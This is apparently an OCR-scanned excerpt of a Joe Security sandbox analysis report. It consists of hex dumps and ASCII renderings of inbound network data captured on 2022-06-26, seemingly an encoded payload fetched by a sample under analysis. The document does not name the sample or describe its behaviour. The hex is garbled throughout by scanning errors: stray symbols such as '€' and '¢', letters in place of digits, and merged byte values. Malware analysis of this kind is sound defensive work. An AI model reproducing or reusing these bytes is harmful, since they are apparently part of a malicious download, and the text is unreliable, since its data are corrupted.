0660611 618(U(%6%%UY6(U(%6%6%Y6%6% VY60 E %Y6060N {ffd Hd #'

Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20
11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2
0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25
25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 0a 0d 55 ca
da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20
17 8b 64 20 11 66 ae af €8 6¢ Ob 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e
2525 25 66 f0 b9 Ob 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76

Data Ascii: fd [fX fdfd?fX fd fd " XI%30#4fX'RF%f,%%%t4F"%%a UXP7f d f d 5f d f d fI%f>!ffy%%%%%f%e% v

Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 cO 38 e7 29 25 66 €5 2e 7b 32 2c 66 b4
66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 €5 a3 €0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2¢ 2e
7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 Oe a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd
66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 Oe a4 2¢ 2¢ 2¢ 2¢ 2¢ 2¢ 2e 7b 32 Oe €5 30 8d 86 88 65 25 89
da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 €3 d5 Ob 1c 25 9a 05 Ob 1c 25 30 8f €6 68 20 19 75 94 b5 9¢ 1c
25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 €5 9¢ 1c 25 66 ae 6f 68
1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da le 5e a2 29

Data Ascii: fffw618)%f.{2, ffhil)u{2)")I':60f, {2d(1fff8-.f 5felfFA%PF If)fX:648-%0f,,,,., {20e%UdEd 196%%%%0h u%fohimT
4f0fnOh u%foh]m{4fofFn®)

Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da
75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d Ob 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da
da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 0f d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc
25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 fO d5 4a 65 25 0d 53 a9 da da a9 e5 99
04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 €5 99 37 66 30 21 a5 al 27 da 53 99 2d dd 0d d7 65 25 6
420 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d Ob 1c 25 0d d3 7c da da 75 0d 75 8e da da
68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9

Data Ascii: {\!%5%%PA%%h uf u’P%%h u|%ufhd !dPh 3%%fgh #)%%"e%d !e%d ffle%Sf)d !f I'7f0I'S-e%d %%%h
“lu|]%fe)u|%|uuhpfih*d®
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 650 IN
2022-06-26 07:43:17 UTC 651 IN
2022-06-26 07:43:17 UTC 652 IN
2022-06-26 07:43:17 UTC 654 IN
2022-06-26 07:43:17 UTC 655 IN
2022-06-26 07:43:17 UTC 656 IN
2022-06-26 07:43:17 UTC 658 IN
2022-06-26 07:43:17 UTC 659 IN
2022-06-26 07:43:17 UTC 663 IN

Copyright Joe Security LLC 2022

Data

Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05
7¢ 0d aa 1c 25 0d f2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd Oe e5 7f 34 34 89 64 35 8d 06 92 65 25
68 20 05 0d 8 64 da da 68 20 21 0d €0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 cO 38 9e 64 f1 64 39 49 66
48 25 ¢4 56 a7 da da 9e 66 €5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 €5 66 e
8 el 3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 €5 5a
f0 99 2e 08 €0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 €0 4c da da 1a 5e 0d 27 97 Oe 99 12 c6 22 18 bb 25
25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 Oa 08 d8

Data Ascii: f Id dP dX %h u'h0|%f(|Re%!f44d5e%h dh 1d61:6f8dd9IfHY6VIOfah(-")0-8)%1T%|Je%#! 1%%%ZQ4
%6%Z.%%00%%%ammOLA"%%ZNn%%Mmm:;

Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f Oe f7 60 €5 99 8b a5 61 5d 25 99 85 60
da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b al 37 af 31 55 5¢ bc da 25
2525 ea 7e 8 3d 9c 1c 25 97 c4 66 aa 06 f3 5¢c be dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d
00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd Oe e5 a5 18 79 c2 1c 25 25
99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 Oe a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 6
6 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25
25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 Oe c8 60 da a3 6b 66 eb

Data Ascii: %%%H\%%%f{2f a]% P9%%%%~=%Nqmfss 71U\%%%~=%A%%T$"# P)')]|%%%~=%N'f:he%.{ffy%%of
1fo6y%%yffhes {fff f fff%6%%6f {20ff kf

Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da Oe 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af
20 da 00 da 25 25 25 ea 86 €0 3d 9c 1c 25 23 20 da 23 a6 50 Of 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a
833634 389e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5¢c €9 89 23 da da 2e
7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 ¢2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5
99 e0 7e 6d c2 1c 25 8b 60 e5 99 6 66 f5 8b 5¢c 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3
61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb
€030 c2 1c 25 25eb el 79 c2 1c 25 25 ¢4 9a 25 25 25 30 0d 15

Data Ascii: |[m%ui+O? %%%=%# #P " #1X/i+/iP:648|q%"R~5%he%0f\#.{2m%)%%q%%%%u%%%%H ~m% f\dq
%6/~u%ae%=%-%%%"%" %% %H0%%y%%%% %0

Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e €9 11 2e Oe e5 64 20 11 Oe €5 30 8d 91 a2 65 25 89 da 55 89 64 45
0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68
20 15 75 8f dc 66 €8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 5 1c 25 d7 dc 7c 15 9d 65 25
0d 4b c8 da da 66 5 64 7f 31 66 €7 0d 8b 97 da da Oe e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e ¢
4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 €0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b
66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d
7c cl dada 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61

Data Ascii: %Y%f0f*.d 0e%UdE xf'd8 %h0ff d !h uf%|e%fofE%|e%Kfd1f44d5Ne%h 6f8.f P}6.{,9%f;fd+f+{%d-
%%%f+_"%P6.e%|f 5'e%.~a

Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d €9 72 da da 16 le 49

99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a fO 66 9c 94 da da 25
2574 d2 d4 60 7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 Oe a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 1
9 2e 66 fd 77 0d 2c bd da da 64 20 19 Oe e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 Oe e5 30 8d 11 f1 65 25 89 da
55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d Oe e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4
6e 91 da da c6 ce Oe e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d
36 66 cO 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 bl aa 1c 25 29 9e 1c

Data Ascii: f)lm1f)I*"1%PmffErlYh1A\%%PfC# Zf%%t Pf#6f5d-ffOf*.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f
urPf 6f8he%%%%1%%)

Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 Ob 1c 25 25 99 ea dd 5d 9c 1c 25 df
0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce dO da da 0d bb cc da da Oe e5 7f 34 34 89 64 35 8d b6 ac
65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e
06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 Oe e5 30 8d 14 7 65 25
89 da 55 89 64 45 da e0 cd c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 65 {7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd
€2 1c 25 dc 9e 30 66 11 Oe e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 9d 7 65
25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e

Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%% '%%%U%%.{ffX3f6f6f0f0e % UdE%44d5ee%kB8f %0f0Le%UdEYS
44d5e%3B8f"%

Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00
61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da
da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21
30 df c9 7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6¢ da da da 34 7e
d9 c2 1c 25 30 df f9 7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da
da da 34 7e el c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd al b4 65
25 0d 14 da da da 34 7e €9 c2 1c 25 30 df 05 f7 65 25 dd a9

Data Ascii: f6485%m%fi%fe%fa%fof, {ffd8!f -~%({f -feluhd I"X!%Pd8!f 16480f,]e%7hd !0e%me%4~%0e%e%ol4~
9%0e%e%\V4~%0e%e% @4~%0e%e%*4~%0e%e%4~%0e%

Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20
7b 3c 97 44 3¢ 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 €5 el 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 el 01 65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25
ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3¢ 97 44 3¢ 93 99 2a 9b 40 97 8b 91 4a 52 20 97
97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8
65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1l
59 65 25 2 20 7b 3¢ 97 44 3¢ 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97

Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%6%%% %% %% %%%6%6%0% % %% %%%% %%
%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JIR JFfEe%%%%% %% %%%%%%%% %% %%

%% % %% %% %% %Ee%1%%%Re%[e%[e%[e%[e%[e%Y Ye%uYe%Yed {<D<$<DB

Data Raw: 25 68 20 21 0d c2 34 da da 9e c4 94 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d
37 ¢8 65 25 89 da 55 89 64 45 68 20 21 0d d3 53 25 25 66 9e 66 30 21 0d €9 63 25 25 Oe e5 7f 34 34 89 64 35 8d f4 c8
65 25 68 20 21 0d f2 2e da da 9e c4 48 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d 83 c8 65
25 89 da 55 89 64 45 68 20 21 0d 3f 61 25 25 66 9e 66 30 21 0d 2d 1a 25 25 Oe e5 7f 34 34 89 64 35 8d 40 c8 65 25 68
20 21 0d f6 48 da da 9e c4 fc 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d cf c8 65 25 89 da
55 89 64 45 68 20 21 0d 27 16 25 25 66 9e 66 30 21 0d b5 63 25 25 Oe e5 7f 34 34 89 64 35 8d 8¢ c8 65 25 68 20 21 0d a
a 91 da da 9e c4 b0 26 da da c6 15 36 34 38 9e 68 65 25 2e 7b 32

Data Ascii: %h 140648he%0f%.f07e%UdEh !S%%ff0!c%%44d5e%h !|.Hq648he%0f%.f0e%UdEh [?a%%ff0!-
%%44d5@e%h 'Hq648he%0f%.f0e%UdEh !'%%ff0!c%%44d5e%h '&648he% {2
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 667 IN
2022-06-26 07:43:17 UTC 671 IN
2022-06-26 07:43:17 UTC 675 IN
2022-06-26 07:43:17 UTC 679 IN
2022-06-26 07:43:17 UTC 683 IN
2022-06-26 07:43:17 UTC 687 IN
2022-06-26 07:43:17 UTC 692 IN
2022-06-26 07:43:17 UTC 696 IN
2022-06-26 07:43:17 UTC 700 IN

Copyright Joe Security LLC 2022

Data

Data Raw: da 57 89 64 47 66 20 21 8b 66 25 ea 92 f5 5e 1f 39 ea 62 a6 dc 25 25 da 49 70 3a d8 65 25 8e d8 65 25 eb d8
65 25 ca d8 65 25 27 23 65 25 39 23 65 25 4f 23 65 25 65 23 65 25 81 23 65 25 97 23 65 25 35 da 65 25 fe da 65 25 60
23 65 25 1f 23 65 25 35 da 65 25 fe da 65 25 fe da 65 25 bd 23 65 25 86 23 65 25 9a 23 65 25 ae 23 65 25 0b 23 65 25
a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 8d de 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 39 25 8b dd dc 25 0d 01 07 d
adaa2 2015 25 25 25 25 a2 20 19 25 25 25 25 c4 1a de 25 25 66 20 21 ea 9a 65 2d 74 64 20 15 64 30 19 c4 51 de 25
25 66 20 21 66 65 2d 74 64 20 15 64 30 19 c4 3f de 25 25 66 20 21 b4 65 2d 0d a0 Oa da da 64 20 15 64 30 19 c4 29 de
25 25 66 20 21 b8 65 2d 0d 8a Oa da da 64 20 15 64 30 19 c4 13 27 25 25

Data Ascii: WAGf 1f9%"9b%%I|p:e%e%e%e% #e%9#e%O#eYe#eYotteYotte%5e%e% #eYotte%5e%e%e%He %
#eYtteYoHeYtte% %% %% %%%%%YE%%9%% %%%% %%%%%%f le-td d0Q%%!f fe-td d0?%%f le-d d0)%%!f le-d
d0'%%

Data Raw: 1c 25 ¢8 31 1c 25 ¢8 31 1c 25 ¢8 31 1c 25 b3 31 1c 25 ¢9 31 1c 25 92 31 1c 25 ef 31 1c 25 bc 31 1c 25 Oe e5
64 20 1d c4 de dc 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 29 25 8b dd dc 25 0d 9b f9 da da Oe e5 64 20 1d c4 be 25 25 25
66 20 21 ba 65 2d b4 38 1d 76 c4 f9 25 25 25 66 20 21 b6 65 2d b4 38 1d 76 c4 a0 25 25 25 66 20 21 66 65 2d 64 20 1d
€4 92 25 25 25 66 20 21 ea 9a 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 7c 25 25 25 66 20 21 ea €3 65 2d 64 20 19 b6 20
19 b4 38 1d 76 ¢4 66 25 25 25 66 20 21 ea db 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 9d 66 20 21 ea 92 65 2d 64 20 19
b6 20 19 b4 38 1d 76 c6 40 66 20 21 66 65 2d 64 20 11 Oe e5 64 20 15 ba 48 11 b4 38 1d 76 c6 73 66 20 21 ba 8d 2d b4
38 1d 76 c6 67 Oe e5 30 8d ec €8 1c 25 89 da 55 89 64 45 66 20 21 0d

Data Ascii: %1%1%1%1%1%1%1%1%d %%E%%)%%d %%%f le-8v%%%f le-8v%%%f !fe-d %%%f le-d 8v|%%%f le-d
8vi%%%f le-d 8vfle-d 8v@f !fe-d d H8vsf !-8vg0%UdETf !

Data Raw: 3c da da 66 30 1d 66 eb 0d 0Of fe da da c4 c2 de 25 25 b4 1e 2d 5e €9 19 b6 61 49 76 68 20 19 0d 16 50 da da
66 30 19 66 eb 0d a4 fe da da c4 eb de 25 25 b8 1e 2d 5e €9 19 b6 61 49 76 68 20 15 0d 3f 50 da da 66 30 15 66 eb 0d
cd fe da da c4 80 de 25 25 da 4e 31 da 4e 2d 68 20 11 0d ac d6 da da 66 30 11 66 eb 0d 9a 00 da da c4 ad de 25 25 da
4e 31 da 4e 2d 68 20 0d 0d 11 d6 da da 66 30 0d 66 eb 0d c7 00 da da c4 46 de 25 25 68 20 09 75 66 le 2d 94 da da da
5a df dc 25 25 25 0d 5a 06 da da 66 30 09 66 eb 0d 58 00 da da c4 6b de 25 25 68 30 05 8b 66 1e 2d 0d 09 d6 da da 66
30 05 66 eb 0d 87 00 da da c4 06 de 25 25 68 30 01 ea e3 1e 2d 0d 64 85 da da 66 30 01 66 eb 0d ee fe da da c4 35 de
25 25 68 30 fd Oe e5 af 1e 2d 0d 48 85 da da 66 30 fd 66 eb 0d d2 47 da

Data Ascii: <f0f%%-"alvh Pf0f%%-"alvh ?Pf0f%%N1N-h f0f%%N1N-h fOfF%%h uf-Z%%%Zf0fXk%%h0f-f0f%%h0-df0
f5%%h0-HfOfG

Data Raw: 25 25 1e 50 97 97 40 93 3e 54 25 25 25 25 da da da da 29 25 25 25 69 3c 99 40 25 25 25 25 da da da da 2b
25 25 25 2a 91 40 2e 99 97 25 25 da da da da 2d 25 25 25 69 44 4e 95 3c 99 3e 8d 25 25 25 25 da da da da e0 25 25 25
20 97 97 4a 97 25 25 25 da da da da e2 25 25 25 67 4a 4a 91 40 3c 93 25 da da da da e2 25 25 25 7b 3c 97 44 3¢ 93 99
25 da da da da e2 25 25 25 30 93 46 93 4a 52 93 25 da da da da e2 25 25 25 69 40 3e 44 48 3c 91 25 da da da da de 25
25 25 49 55 6b 25 da da da da 2d 25 25 25 2e 8d 4a 97 99 24 93 99 25 25 25 25 da da da da 29 25 25 25 67 54 99 40 25
25 25 25 da da da da 29 25 25 25 32 4a 97 89 25 25 25 25 da da da da 2d 25 25 25 71 4a 93 42 32 4a 97 89 25 25 25 25
da da da da e0 25 25 25 24 93 99 5b 59 25 25 25 30 66 11 5c €9 1d d8 da da

Data Ascii: %%P @>T%%%%)%%%i<@ %%%%+%%%*@. %%-%%%iDN<>%%%%%%% J%%%%%%gJI@<%%%%
{<D<%%%%0FJIR%%%%i@>DH<%%%%|Uk%-%%%.J$%%%%)%%%g T @ %%%%) %%%2J%%%%-%%
%0JIB2J%%%%%%%$[Y %%%60f

Data Raw: 99 2d 68 30 d1 0d fe de 25 25 66 38 15 60 b6 99 41 26 68 d9 b8 d1 d8 da da 66 a3 29 60 da 99 e4 66 b2 66
2b 0d 0d 35 da da 60 b6 50 09 Oe e5 7f 34 34 89 64 35 8d 0f 18 1c 25 66 38 15 60 b6 99 37 26 66 a9 b8 d1 d8 da da 75
0d fb 1b da da 60 b6 50 13 9e c4 c1 d6 23 da c6 ba Oe e5 7f 34 34 89 64 35 8d e8 63 1c 25 68 20 d1 66 f0 95 59 1c 25 0d
6 31 da da 9e c4 54 d6 23 da c6 0f 3a 83 36 66 c0 38 e7 2d 25 66 €5 30 66 11 5e e9 1d 66 20 2d 66 65 21 64 20 1d eb 2
021 2b 68 20 1d 75 8f 25 66 €8 e5 aa 1c 25 d7 dc 7c 85 10 1c 25 0d 44 9b da da 0d 99 d6 23 da 34 34 38 9e 30 66 11
5e e9 05 2e 7b 32 64 28 19 64 30 21 64 20 09 68 58 05 66 20 21 64 e2 Oe 1b 64 40 1d 66 20 19 65 9c 05 27 04 e9 68 20
15 64 45 66 e2 0d ad 6b da da 66 fd 8f 25 8f 25 2e 66 e2 75 8f 25 8f 25

Data Ascii: -h0%%f8" A&hf) ff+5°P44d5%f8" 7&fu’ P#44d5c%h fY%1T#:6f8-%f0ff -feld 1+h u%f%|%D#4480f.{2d(d0!d hXf
Idd@f e'h dEfkf%%.fu%%

Data Raw: 50 95 4e b5 30 66 11 2¢ 2e 7b 32 a9 f7 99 2d 5e €9 15 0d a0 0d 23 da 66 d4 ad 30 da 66 fd Oe 7 66 9e 0d Oc
0b 23 da d7 dc 7c 59 6d 1c 25 0d 00 0b 23 da 64 1e 29 d7 dc 7c 19 6f 1c 25 0d 3b Ob 23 da 64 1e 2d d7 dc 7c 59 6d 1c
25 0d e2 Ob 23 da 66 15 64 4e 31 66 eb 66 b2 0d a4 27 25 25 66 9e a5 58 da 25 99 ea 0d ed 0d 23 da 89 6a e0 25 25 25
25 5e 9 31 66 9e 3a 83 36 34 38 9e 66 5 2e 7b 0d 98 0d 23 da 66 ff 66 15 66 ae a5 07 21 66 eb 0d bc cO 23 da 66 6b 2
90d c4 c0 23 da 66 6b 2d 0d bc cO 23 da 66 6b 31 0d b4 c0 23 da a9 b6 a3 e2 66 eb 0d 97 0d 23 da 83 36 9e 68 65 25
2e 7b 66 f 66 15 60 b6 99 35 66 eb 0d 86 29 da da 16 fd 99 €0 Oe e5 83 36 e d5 dc 83 36 9e b5 2e 7b 32 66 1f 66 15 66
6b 31 66 7d 2d 26 5e d6 25 al 00 66 ae 66 6b 31 0d 46 de 25 25 66 b2

Data Ascii: PNOf, {2-"#Off#]Y m6#dl)| 0%:#d-| Y mO#TANLIF%06r X YH%Y606%6 1 F: 6481, {4t fifk)#ik-#ik L#46he% {ff 51)66.
{2ffk1f}-&"Y6ffk1F%Y6f

Data Raw: 35 8d 8a 83 1c 25 66 20 21 0d dO b0 23 da 9e c4 b2 ff 23 da c6 15 83 34 38 9e b5 30 66 11 5e €9 1d 2e 7b Oe
a4 64 28 1d 66 ff 64 20 21 Oe e5 30 8d 2c 3a 1c 25 89 da 55 89 64 45 66 20 21 0d 61 d4 da da Oe e5 30 8d 59 3a 1c 25
89 da 55 89 64 45 66 9e 66 35 da 37 66 15 66 9e 0d 2a e6 25 25 06 15 68 20 1d 66 f3 Oe {7 0d ec 07 23 da 66 30 1d 66 f3
66 9e 66 3d da 2e 31 66 30 1d 66 20 21 66 2d da 2c 51 Oe e5 7f 34 34 89 64 35 8d 16 3a 1c 25 66 20 21 0d 7c d4 da da
9e c4 26 ff 23 da c6 15 Oe e5 7f 34 34 89 64 35 8d 7d 3a 1c 25 68 20 1d 0d fd 05 23 da 9e c4 53 ff 23 da c6 15 83 36 34
34 38 9e 66 €5 30 66 11 5e e9 1d 2e 7b 32 Oe b6 64 38 1d 66 cc 66 ff 64 20 21 Oe e5 30 8d dc 85 1c 25 89 da 55 89 64 4
516 ce 99 89 66 20 21 0d 64 1d da da Oe €5 30 8d 09 3a 1c 25 89

Data Ascii: 5%f [##480f".{d(fd !0,:%UdEf !a0Y:%UdEff57{f*%%h f#fOfff=.1f0f !f- Q44d5:%f !|&#44d5}.%h #S#6448f0f".
{2d8ffd !0%UdEf !d0:%

Data Raw: 30 1d 64 20 21 5e 18 b1 0d 1c 25 25 ea a9 ab 25 25 25 7c b1 0d 1c 25 0d 4b c0 da da 66 1d Oe e5 30 8d 8a
4a 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 al 69 66 ae 66 a2 0d 45 be da da 66 15 5e 58 21 25 99 2d 66 6b 2d 16
20 21 50 00 5e 58 1d 25 99 ea 66 7b 35 66 20 1d 0d fe 8 da da a9 e5 99 35 66 ae 66 a2 0d 23 bc da da 66 eb 0d e6 a0
23 da 26 5e d6 da 50 el Oe e5 7f 34 34 89 64 35 8d db 4a 1c 25 7c b1 0d 1c 25 0d eb 09 da da 9e c4 f5 a4 23 da c6 13
3a 83 36 34 34 38 9e 68 65 25 30 66 11 2c 2e 7b 32 64 20 21 5e 18 b1 0d 1c 25 25 99 46 7c b1 0d 1c 25 0d 5e 09 da da
66 1d Oe e5 30 8d 12 95 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 al 04 66 ae 66 a2 0d 58 07 da da 66 15 66 6b 29
16 20 21 50 35 66 ae 66 a2 0d 9b bc da da 66 eb 0d 5e €9 23 da 26 5e d6 da

Data Ascii: 0d 1"%%%%%|%Kf0J%UdEf:-&"%iffEf X!%-fk- 1P X%f{5f 5ff#f#& \P44d53%|%#:6448he%0f, {2d 1"%%
F|%"f0%UdEf:-&"%ffXffk) |P5fff #&"

Data Raw: c6 c6 66 20 21 83 36 66 c0 38 9e 66 e5 2e 7b 32 5e 9 1d 66 cc 66 1f 66 fd 8f 65 8d 25 55 25 25 7b 8f 25 2e
0d 79 c0 23 da 64 29 49 68 69 49 29 75 7b 32 66 69 49 31 75 2e 0d 5a c0 23 da 66 29 49 34 7f 3a 83 36 9 66 e5 30 66
11 5e e9 15 2e 7b 32 66 d4 66 17 66 fd 66 28 31 66 b2 66 9e 0d 84 da da da 64 20 1d 66 eb 0d b2 23 da da 66 ed 66 fb
